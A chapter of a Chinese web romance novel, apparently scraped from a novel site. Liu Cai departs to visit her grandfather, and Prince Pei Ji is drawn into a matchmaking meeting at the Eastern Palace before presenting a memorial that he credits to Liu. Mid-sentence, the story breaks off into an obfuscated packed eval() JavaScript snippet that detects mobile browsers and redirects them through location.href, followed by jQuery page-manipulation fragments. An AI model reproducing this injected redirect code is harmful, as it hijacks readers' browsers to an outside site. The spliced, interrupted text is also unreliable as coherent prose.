29. 分别 奏疏

作品:《柳姑娘失节后

    两天后,辰时,柳家马车出城,抵达南熏门城门口时,裴寂早已等候多时。


    他着紫袍朝服,一看可知方下了朝,便急匆匆赶来了。


    在四月的暖风里,裴寂骑着匹名叫川骛的白色宝马,如神人降世一般静立在俗世之中。


    神采奕奕,有日月入怀之美,恣意张扬的姿态也具备极高的观赏性,一眼看去,俊美无匹。


    送出城门,两人远离人群告别。


    “真的要冬月才回么?”裴寂一脸不舍。


    面对如此一个美男子的痴缠,柳裁亦很难舍:“我与外祖父多年不见,要好好陪陪他老人家。”


    孝心可贵,裴寂没有理由再去磨她,在她额头轻轻一吻,道:“没有什么送给外祖父的,箱子里有一支老参代我转赠。”


    “外祖父要受宠若惊了。”柳裁笑言。


    “路上注意身子。”裴寂帮她拢起鬓角被风吹散的发丝,闷闷地嘱咐着,“那四人,是我府里的得力侍卫,这次跟着你去。”


    跟着他的眼神所指,柳裁看到有四名骑着枣红骏马的侍卫,在帮着家里小厮重新整理行李,大约是裴寂不放心她风餐露宿,另给她准备了许多吃喝用品。


    知他心中为何怏怏不乐,除却长久的分别外,无非是没给他留下一个信物,好叫他睹物思人。


    只顾着兴奋能见到外祖父,把这茬给忘的干净。


    摸了摸袖口,柳裁掏出一方帕子,塞进裴寂手中,在他欢喜打开看时,柳裁心口飘过丝丝情意。


    她踮起脚尖,在他唇上轻轻一啄,鸟雀偷食一般迅疾。


    裴寂受不了这般敷衍,奈何城门口人来人往,不是亲热的好地方,且二人一个潇洒风流,一个娇美袅娜,本就很引人注目了,再行过分举止,怕是要被人围观。


    那个偷吻是因情绪突发,柳裁身子比脑子快才做下的,此刻思绪回炉,断然不肯在众目睽睽之下再做那等羞人的事。


    捂起脸,柳裁小声道:“先欠着。”


    裴寂不是浪荡之人,当然不愿在他人跟前暴露他二人的亲密之举,但见她羞涩,又很难不想着逗弄一番,便耍赖般道:“利息我得收足,下次见面,还我十次。”


    柳裁听他收的利息奇高,嗔道:“得亏你不是典当主,否则哪里还有人的活路。”


    被嗔一句,裴寂很受用,压着声道:“待到冬月,我会备好一切,专等你回来成亲。”


    “成亲”二字,他提及过多次,今次听来似有所不同,听得柳裁的心咚咚咚地急跳起来。


    话头一转,裴寂似忧虑似玩笑地道:“家里有人等着,千万不要再去肖想别家的俊俏公子。”


    本在心动成亲的事,突兀地听到这样一句话,倒把人逗笑了,他怎的如此小气,把邱世成那厮的浪荡话听进心里了。


    两人总算惜别完毕,柳裁一路向南,直到再也瞧不见静立在城门口遥望的裴寂,才让泗水将车帘放下。


    待到休沐日,裴寂果真如前些时候所言,去东宫堵自己的太子兄长去了。


    那日太孙殿下吃瘪回到宫里,读书读得闷闷不乐,恰巧被当爹的逮个正着。


    才下学,太孙殿下便被拎去了书房。


    “何事颓唐?”太子悠闲地坐在宽大的禅椅上。


    他身材高大,身形不胖不瘦,有着一双承继于父亲的大双眼皮,炯炯有神,瞪起眼来,很能震慑人。


    由于同那些老油子臣子打交道经验丰富,太子养成了不怒自威的神色。


    因瞧见儿子读书跑神,无意间将对付臣子的那一套神色拿了出来。


    “爹,你脸色怎么了?”太孙殿下知晓太子妃,也就是他亲娘,最不喜亲爹在家里摆谱,便故意转移话题问道。


    太子最了解儿子,岂能因他一句话便转移了注意力。


    隐瞒不得,太孙只好据实相告。


    听到九弟金屋藏娇,太子哈哈一乐,早听说他在花信别院宠幸过一女子,久久没听到收入房中,以为作罢了,原来已经偷偷摸摸地弄进了府。


    想起前些时候皇后将他扣在宫里选妃而不得,太子殿下揣测,难道正式因那女子才不愿的么,不会心被人家掏了吧!


    “他藏娇,你不快个什么劲儿。怎的,你九叔骂你了?”


    太孙摇头,“爹,我得背书去了,晚了娘要打我手板的。至于我为啥不快,九叔休沐日来找你的时候,你就知道了。”


    说完,提起衣摆,拔腿就溜,任他爹如何喊他站住,只当听不到。


    “我的好大儿,你九叔为什么找我?你闯什么祸了?”


    “唉,站住!站住!”


    人跑没影了。


    太子殿下公务繁忙,无瑕再追究此等小事,直到休沐日,忽地想起被好儿子坑了这回事。


    但儿子早起请安后,便溜到皇后那里躲清闲去了,他只能独力严阵以待那个镇日黑脸不语的老古板。


    倒也不算孤军奋战,太子妃听说肃王来访,不管他有何话要讲,她先有了自己的想法。


    这不,裴寂才至,尚未见到太子,太子妃先派人来迎客了。


    “肃王爷,太子殿下正在处理公事,太子妃殿下有请。”


    太子妃雍容华贵,是靖国公府这一代最最出色的才女,据说文能碾压状元郎,武能上马射苍鹰,洒脱性子,比将门出身的皇后年轻时的风采不差,裴寂一向敬重她。


    跟着宫人,穿过□□,绕过各类名花异草,瞧见临湖水榭中,一片云蒸霞蔚里,除却太子妃外,另有一女子依栏而坐。


    身材高挑,眉目清秀,端庄贞淑,绝对符合世人口中所夸赞的名门贵女形象。


    两下介绍,女子乃太子妃娘家叔叔的女儿,年方十六,安排两句让两人叙话后,便笑着走了,只留下个宫女远远立在一旁听候奉茶。


    看着大嫂喜滋滋离开的背影,裴寂方反应过来,她这是在给自己牵线做媒,脸上又压下一层乌云来。


    那女子脸上羞云湍急,幸好是大家闺秀的作风,举止落落大方地与他问好。


    他提步要走,却考虑到,若就此离开,恐会令此女颜面受损,传将出去,她定要为人非议。


    但他势必不肯与她多言,否则


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223902|165062||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    等柳裁回京,他哪里还敢直视她,分明要她莫惦念别家的俏郎君,今日反是他跟别家淑女对上话了。


    清冷地点头算是回话后,裴寂垮着那张人见人爱的俊脸,双手缚后,转过身去临水而立,只留给人家姑娘一个玉树临风的背影。


    太子妃没有走远,躲在一座绿树花丛掩映的亭子里,悄悄往水榭张望,瞧见俩人连半句话都没能聊上,急得直跺脚。


    “何事让太子妃这般心焦?”


    太子殿下听宫人禀报,肃王被太子妃拦截下后,有些好奇妻子欲做何事,偷偷摸摸跑来后,只看到妻子捶胸顿足,不知在翘首企盼什么。


    “你来,看那里。”太子妃瞧见夫君,有些迁怒他,抬手指了指水榭方向。


    太子过去和妻子一起扒拉着花丛,遥遥一望,立即苦笑着道:“老九木头桩子一个,给他牵线搭桥,白耗心力。”


    “得得得,算我不识好歹。”太子妃叹口气,无奈道,“我这就把我妹子喊回来。”


    “等会儿,老九找我算儿子的账,账没算成,还被你拖去相亲,你现在去,他怕是没好话。还是我跟你一起的好。”太子拍了拍妻子的手,一副有难同当的表情。


    太子妃哼了一声,笑着拧了一把丈夫的胳膊,骂道:“瞧你那出息,跟朝臣对骂几百次,也没见你怵过一回,倒怕老九这个几棍子闷不出一句话的人了。”


    太子抱怨道:“不说话才最难办,他等会儿出了东宫往娘那里一坐,只要黑着脸不说话,娘定是什么都不问,便要骂我欺负他年少体弱了。


    “娘也不瞅瞅,他那劲瘦体格,能是个体弱的病秧子么,我就吃亏在小时候没落过水。”


    骂完最后一句,他突然噎住。


    “好啦!”太子妃不劝,却是责怪起丈夫来,她道,“你也好意思吃醋,老九沉默寡言的性子,还不是因小时候受你们这些兄长的捉弄太多,烦你们,倒好意思来抱怨了。”


    说来道去,还是因为肃王爷小时候便貌美惊人,又是被当做女孩儿来养,被一众兄长稀罕,纷纷指认他就是个小姑娘,等裴寂回过味儿来后,自然讨厌他们的诓骗了,是以后来他宁愿绕远路躲着兄长们,也不想与他们碰面多讲一句话。


    俩人说着话便到了水榭,见过礼后,太子妃便要领着羞红了脸的妹妹离开。


    “大嫂,我有事请教。”裴寂阻道。


    太子妃命宫人引妹子到别处等着,接过裴寂递过来的奏疏,一脸疑惑地看了起来。


    初看时眉头微蹙,再看眉头继续深锁,看到最后却展颜欢笑,急得太子殿下直搓手,等从妻子手上接过奏疏,太子妃脸上的表情神态又在他脸上重演了一遍。


    看得两人,连连称“善”。


    观察他夫妻二人的神态,裴寂确认所奏之事深得人心。他脸上颜色微熹,问道:“大嫂乃女诸葛,不知此奏疏如何?”


    太子妃感叹道:“不曾想九弟竟有如此情怀,立意、实施,我皆无话可说。”


    裴寂难得展露笑颜,“不是我的主意,此乃柳家小姐的想法,我不过替她完善罢了。”